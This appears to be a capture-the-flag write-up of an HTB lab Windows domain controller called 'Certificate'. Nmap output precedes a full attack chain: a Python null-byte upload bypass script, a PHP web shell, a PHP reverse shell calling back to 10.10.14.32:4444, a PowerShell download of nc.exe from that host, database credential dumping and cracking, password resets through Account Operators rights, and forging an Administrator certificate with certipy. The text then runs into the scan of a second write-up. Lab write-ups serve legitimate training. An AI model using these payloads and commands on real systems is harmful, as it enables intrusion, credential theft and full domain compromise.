| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQURw6wHadBRcMGfsqMbHNqwpNKRi4wHwYDVR0jBBgwFoAUOuH3UW3vrUoY
| d0Gju7uF5m6Uc6IwgdEGA1UdHwSByTCBxjCBw6CBwKCBvYaBumxkYXA6Ly8vQ049
| Q2VydGlmaWNhdGUtTFRELUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2Vy
| dGlmaWNhdGUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9v
| YmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCByAYIKwYBBQUHAQEEgbsw
| gbgwgbUGCCsGAQUFBzAChoGobGRhcDovLy9DTj1DZXJ0aWZpY2F0ZS1MVEQtQ0Es
| Q049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWNhdGUsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1Ud
| EQQ5MDegHwYJKwYBBAGCNxkBoBIEEAdHN3ziVeJEnb0gcZhtQbWCFERDMDEuY2Vy
| dGlmaWNhdGUuaHRiME4GCSsGAQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1T
| LTEtNS0yMS01MTU1Mzc2NjktNDIyMzY4NzE5Ni0zMjQ5NjkwNTgzLTEwMDAwDQYJ
| KoZIhvcNAQELBQADggEBAIEvfy33XN4pVXmVNJW7yOdOTdnpbum084aK28U/AewI
| UUN3ZXQsW0ZnGDJc0R1b1HPcxKdOQ/WLS/FfTdu2YKmDx6QAEjmflpoifXvNIlMz
| qVMbT3PvidWtrTcmZkI9zLhbsneGFAAHkfeGeVpgDl4OylhEPC1Du2LXj1mZ6CPO
| UsAhYCGB6L/GNOqpV3ltRu9XOeMMZd9daXHDQatNud9gGiThPOUxFnA2zAIem/9/
| UJTMmj8IP/oyAEwuuiT18WbLjEZG+ALBoJwBjcXY6x2eKFCUvmdqVj1LvH9X+H3q
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-06-01T10:52:58+00:00; +7h59m45s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:52:57+00:00; +7h59m45s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after:  2025-11-04T03:14:54
| MD5:   0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBPMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLY2VydGlm
| aWNhdGUxGzAZBgNVBAMTEkNlcnRpZmljYXRlLUxURC1DQTAeFw0yNDExMDQwMzE0
| NTRaFw0yNTExMDQwMzE0NTRaMB8xHTAbBgNVBAMTFERDMDEuY2VydGlmaWNhdGUu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAokh23/3HZrU3FA6t
| JQFbvrM0+ee701Q0/0M4ZQ3r1THuGXvtHnqHFBjJSY/p0SQ0j/jeCAiSwlnG/Wf6
| 6px9rUwjG7gfzH6WqoAMOlpf+HMJ+ypwH59+tktARf17OrrnMHMYXwwILUZfJjH1
| 73VnWwxodz32ZKklgqeHLASWke63yp7QM31vnZBnolofe6gV3pf6ZEJ58sNY+X9A
| t+cFnBtJcQ7TbxhB7zJHICHHn2qFRxL7u6GPPMeC0KdL8zDskn34UZpK6gyV+bNM
| G78cW3QFP00i+ixHkPUxGZho8b708FfRbEKuxSzL4auGuAhsE+ElWna1fBiuhmCY
| DNnA7QIDAQABo4IDTzCCA0swLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQURw6wHadBRcMGfsqMbHNqwpNKRi4wHwYDVR0jBBgwFoAUOuH3UW3vrUoY
| d0Gju7uF5m6Uc6IwgdEGA1UdHwSByTCBxjCBw6CBwKCBvYaBumxkYXA6Ly8vQ049
| Q2VydGlmaWNhdGUtTFRELUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2Vy
| dGlmaWNhdGUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9v
| YmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCByAYIKwYBBQUHAQEEgbsw
| gbgwgbUGCCsGAQUFBzAChoGobGRhcDovLy9DTj1DZXJ0aWZpY2F0ZS1MVEQtQ0Es
| Q049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWNhdGUsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1Ud
| EQQ5MDegHwYJKwYBBAGCNxkBoBIEEAdHN3ziVeJEnb0gcZhtQbWCFERDMDEuY2Vy
| dGlmaWNhdGUuaHRiME4GCSsGAQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1T
| LTEtNS0yMS01MTU1Mzc2NjktNDIyMzY4NzE5Ni0zMjQ5NjkwNTgzLTEwMDAwDQYJ
| KoZIhvcNAQELBQADggEBAIEvfy33XN4pVXmVNJW7yOdOTdnpbum084aK28U/AewI
| UUN3ZXQsW0ZnGDJc0R1b1HPcxKdOQ/WLS/FfTdu2YKmDx6QAEjmflpoifXvNIlMz
| qVMbT3PvidWtrTcmZkI9zLhbsneGFAAHkfeGeVpgDl4OylhEPC1Du2LXj1mZ6CPO
| UsAhYCGB6L/GNOqpV3ltRu9XOeMMZd9daXHDQatNud9gGiThPOUxFnA2zAIem/9/
| UJTMmj8IP/oyAEwuuiT18WbLjEZG+ALBoJwBjcXY6x2eKFCUvmdqVj1LvH9X+H3q
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49717/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50464/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50770/tcp): CLEAN (Timeout)
|   Check 2 (port 45128/tcp): CLEAN (Timeout)
|   Check 3 (port 43669/udp): CLEAN (Timeout)
|   Check 4 (port 62828/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-06-01T10:52:24
|_  start_date: N/A
|_clock-skew: mean: 7h59m44s, deviation: 0s, median: 7h59m44s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun  1 08:23:20 2025 -- 1 IP address (1 host up) scanned in 826.30 seconds

Enumeration

Port 80/HTTP

port 80 is is running http, open the website on browser

we need to access the website using certificate.htb and refresh the page

After visiting website i found login and register button

then i navigate to register

then under course section i found different course

click, on Enroll The Course

and then scrolling down, under Course Outline Section Click on Quizz-1 Submit button

we redirected to upload.php page where we might need to submit our assignment

let’s try to upload php file that contains the shell.

it’s clear that the server is checking the extension and MIME type as well, so we need to find another technique to bypass this, after many trials and error and trying different things i found that we could bypass this file upload restriction by using Null Byte Injection

but when i tried the Null byte injection i found that the file name remains same, then i assumed that the server might be encoding the null byte %00 and then decode it so it remain same

possibly we need to inject null byte programmatically, in this case i’ve used following python script to do that for me

import os
import zipfile

#Paths,
zip_path = 'shell.zip'
new_zip_path = 'shell1.zip'
old_filename = 'shell.php'
new_filename = 'shell.php\x00.pdf'

#Open the original ZIP and create a new one,
with zipfile.ZipFile(zip_path, 'r') as zip_read:
    with zipfile.ZipFile(new_zip_path, 'w', compression=zipfile.ZIP_DEFLATED) as zip_write:
        for item in zip_read.infolist():
            original_data = zip_read.read(item.filename)
            # Rename the target file
            if item.filename == old_filename:
                item.filename = new_filename
            zip_write.writestr(item, original_data)

print(f'Renamed {old_filename} to {new_filename} inside {new_zip_path}')

so first i created the shell.php with below simple code, after some trial-error i figured out that it blocks the system keyword so i’ll go with shell_exec()

<?php
echo shell_exec($_GET['cmd']);
?>

then create a zip file that contains this shell.php file inside it

zip -r shell.zip shell.php

and then run the ***rewrite.py -*** python3 rewrite.py

upload the shell1.zip and it successfully uploaded, and we can access the shell by clicking on click here, and then remove .pdf and then we can access the shell

after removing the .pdf extension

Bingo! we got Command execution as xamppuser

after trying several thing to get proper shell i found that windows defender is deleting the netcat (nc.exe)

http://certificate.htb/static/uploads/ebd0473a69a5f33d8a4caa3b1e4f234c/shell.php?cmd=powershell%20%20-c%20iwr%20-uri%20http://10.10.14.32/nc.exe%20-outfile%20\users\public\nc.exe

Got connection on the python3 http server

But i am not able to get shell, so i used below php script to get somehow shell so i can run the Powershell command to get stable shell

follow same process for below rev.php as above, make sure to change the name inside script, and start the listener on port 4444

<?php
$sock = fsockopen("10.10.14.32", 4444);
fwrite($sock, "Connected\n");
while(!feof($sock)) {
    $command = fgets($sock);
    $output = shell_exec($command);
    fwrite($sock, $output);
}
fclose($sock);
?>

access the shell php and we got connection on port 4444

still this is not stable and interactive shell, so i used the powershell reverse shell payload from revshells.com

and then copy and paste above powershell encoded comamnd, and run the command

and i got the reverse shell connection on port 445

After gaining access into the system i started enumerating system and found database credentials, let’s use this to connect to database.

run the net user command to find available user’s in the system

i’ll use the mysql.exe from system to connect to database

mysql.exe -u certificate_webapp_user -pcert!f!c@teDBPWD -e "SHOW DATABASES;"

i found the database certificate_webapp_db, let’s use this and run show tables command

mysql.exe -u certificate_webapp_user -pcert!f!c@teDBPWD -e "use certificate_webapp_db;show tables;"

nice let’s select username and passwords from users table

mysql.exe -u certificate_webapp_user -pcert!f!c@teDBPWD -e "use certificate_webapp_db;select username,password from users;"

the above sara.b user is the user on the Domain Controller (and the Domain), so we need to crack that password, i’ll be using john to crack the password

john sara_b.hash --wordlist=/usr/share/wordlists/rockyou.txt

Bingo!, we got the password, let’s use netexec (nxc) to verify if the credentials is valid or not

nxc smb certificate.htb -u 'sara.b' -p 'Blink182'

then i tried to enumerate the shares

nxc smb certificate.htb -u 'sara.b' -p 'Blink182' --shares

net user sara.b

the user is member of Account Operators group, the bloodhound also reveals the same thing

bloodhound-python -c all -u sara.b -p Blink182 -d certificate.htb -dc dc01.certificate.htb -ns 10.10.11.71

load the gathered information in bloodhound

the account operators has GenericAll on the Non-Protected groups and users, (Except Domain Admins, Administrators and Enterprise Admins etc.

let’s add the sara.b user into Remote Management Users group

net rpc group addmem "Remote Management Users" "sara.b" -U "certificate.htb"/"sara.b"%"Blink182" -S 10.10.11.71

and then check for the group members using below command

net rpc group members "Remote Management Users" -U "certificate.htb"/"sara.b"%"Blink182" -S 10.10.11.71

now let’s login to Machine as sara.b

evil-winrm -i 10.10.11.71 -u sara.b -p Blink182

let’s check which user has logon to the machine, we can check the C:\Users directory for to find which user’s directory presented on the machine

we found the following, Lion.SK and Ryan.K user interesting as they are members of Remote Management Users, let’s reset their passwords using net user command

net user Lion.SK "Hacker@123" /domain

and same for the Ryan.K

net user Ryan.K "Hacker@123" /domain

let’s login as Lion.SK and check what we can get

evil-winrm -i 10.10.71.11 -u Lion.SK -p Hacker@123

let’s login as Ryan.K user

evil-winrm -i 10.10.11.71 -u Ryan.K -p Hacker@123

we have a interesting SeManageVolumePrivilege, a quick google search reveals that we can use the exploit https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe to gain the full access over file system

download the exploit and upoad it to target system

and run the exploit

.\SeManageVolumeExploit.exe

now there are 2 ways to abuse this privilege, we can load the malicious dll or try to dump the certificate private key and then use that for forge the administrator account

as the name of machine suggest the intended way is using certificate

certutil -exportPFX my "Certificate-LTD-CA" C:\Users\Ryan.K\Documents\ca.pfx

transfer the certificate to our kali machine, and let’s forge the administrator private key

certipy-ad forge -ca-pfx ca.pfx -upn administrator@certificate.htb -subject "CN=Administrator,CN=Users,DC=certificate,DC=htb" -out administrator_forged.pfx

let’s use the forge command to forge the Administrator ticket

certipy-ad auth -pfx administrator_forged.pfx -dc-ip 10.10.11.71

and we got the KRB_AP_ERR_SKEW (Clock Skew too great)

to solve this run this comamnd as root - ntpdate 10.10.11.71

again run the auth command

let’s use this NTLM hash to authenticate as Administrator

evil-winrm -i 10.10.11.71 -u Administrator -H d804304519bf0143c14cbf1c024408c6

Beyond Root - Another ways

to get the password of Lion.SK user we can get kerberos Ticket hash and then crack it, after gaining access as sara.b user we found the wireshark network capture file.

with the description.txt let’s read the description.txt

i found - https://www.netresec.com/?page=Blog&month=2019-11&post=Extracting-Kerberos-Credentials-from-PCAP

but when i followed the steps and try to parse the WS-01_PktMon.pcap i got this error

to solve this we need to convert pcapng to pcap file

editcap -F libpcap -T ether WS-01_PktMon.pcap file.pcap

and then parse the file agin to Networkminer

Certified

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Certified
OS Type: Windows
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Wed May  7 19:03:45 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.41
Nmap scan report for 10.10.11.41
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-05-07 19:03:46 IST for 776s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-07 20:44:41Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
| VR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4G
| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
| AwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYE
| FPTg6Uo2pYQv7jJTC9x7Reo9CbVVMB8GA1UdIwQYMBaAFOz7EkAVob3H0S47Lk1L
| csBi3yv1MIHOBgNVHR8EgcYwgcMwgcCggb2ggbqGgbdsZGFwOi8vL0NOPWNlcnRp
| ZmllZC1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWVk
| LERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xh
| c3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcUGCCsGAQUFBwEBBIG4MIG1MIGyBggr
| BgEFBQcwAoaBpWxkYXA6Ly8vQ049Y2VydGlmaWVkLURDMDEtQ0EsQ049QUlBLENO
| PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
| YXRpb24sREM9Y2VydGlmaWVkLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
| ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsG
| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-07T20:46:17+00:00; +6h59m35s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
| VR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4G
| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
| AwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYE
| FPTg6Uo2pYQv7jJTC9x7Reo9CbVVMB8GA1UdIwQYMBaAFOz7EkAVob3H0S47Lk1L
| csBi3yv1MIHOBgNVHR8EgcYwgcMwgcCggb2ggbqGgbdsZGFwOi8vL0NOPWNlcnRp
| ZmllZC1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWVk
| LERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xh
| c3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcUGCCsGAQUFBwEBBIG4MIG1MIGyBggr
| BgEFBQcwAoaBpWxkYXA6Ly8vQ049Y2VydGlmaWVkLURDMDEtQ0EsQ049QUlBLENO
| PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
| YXRpb24sREM9Y2VydGlmaWVkLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
| ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsG
| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-07T20:46:15+00:00; +6h59m36s from scanner time.
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-07T20:46:17+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
| VR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4G
| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
| AwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYE
